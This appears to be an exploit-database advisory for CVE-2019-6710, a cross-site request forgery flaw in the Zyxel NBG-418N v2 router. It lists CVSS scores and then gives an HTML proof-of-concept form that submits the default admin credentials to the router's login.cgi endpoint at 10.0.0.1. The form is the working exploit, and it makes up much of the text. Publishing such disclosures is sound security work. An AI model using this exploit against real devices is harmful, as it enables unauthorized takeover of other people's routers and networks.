Zyxel NBG-418N V2 Cross Site Request Forgery

2019.01.25

Credit: Ali Can Gonullu

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-6710

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

<!--
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
# Tested on: Windows 10 x64
# CVE : CVE-2019-6710
# Author : Ali Can GAPnA1/4llA1/4
# Twitter : @god3err
Exploits :
-->
<html><head>
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
</head><body>
<form action="http://10.0.0.1/login.cgi" method="POST">
<input type="text" name="username" id="username" value="admin" /><br />
<input type="text" name="password" id="password" value="1234" /><br />
<input id="loginBtn" onclick="return onlogin()" type='submit'
value='Go!' />
<input type="hidden" name="submit.htm?login.htm" value="Send">
</form>
</body></html>

See this note in RAW Version

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Zyxel NBG-418N V2 Cross Site Request Forgery

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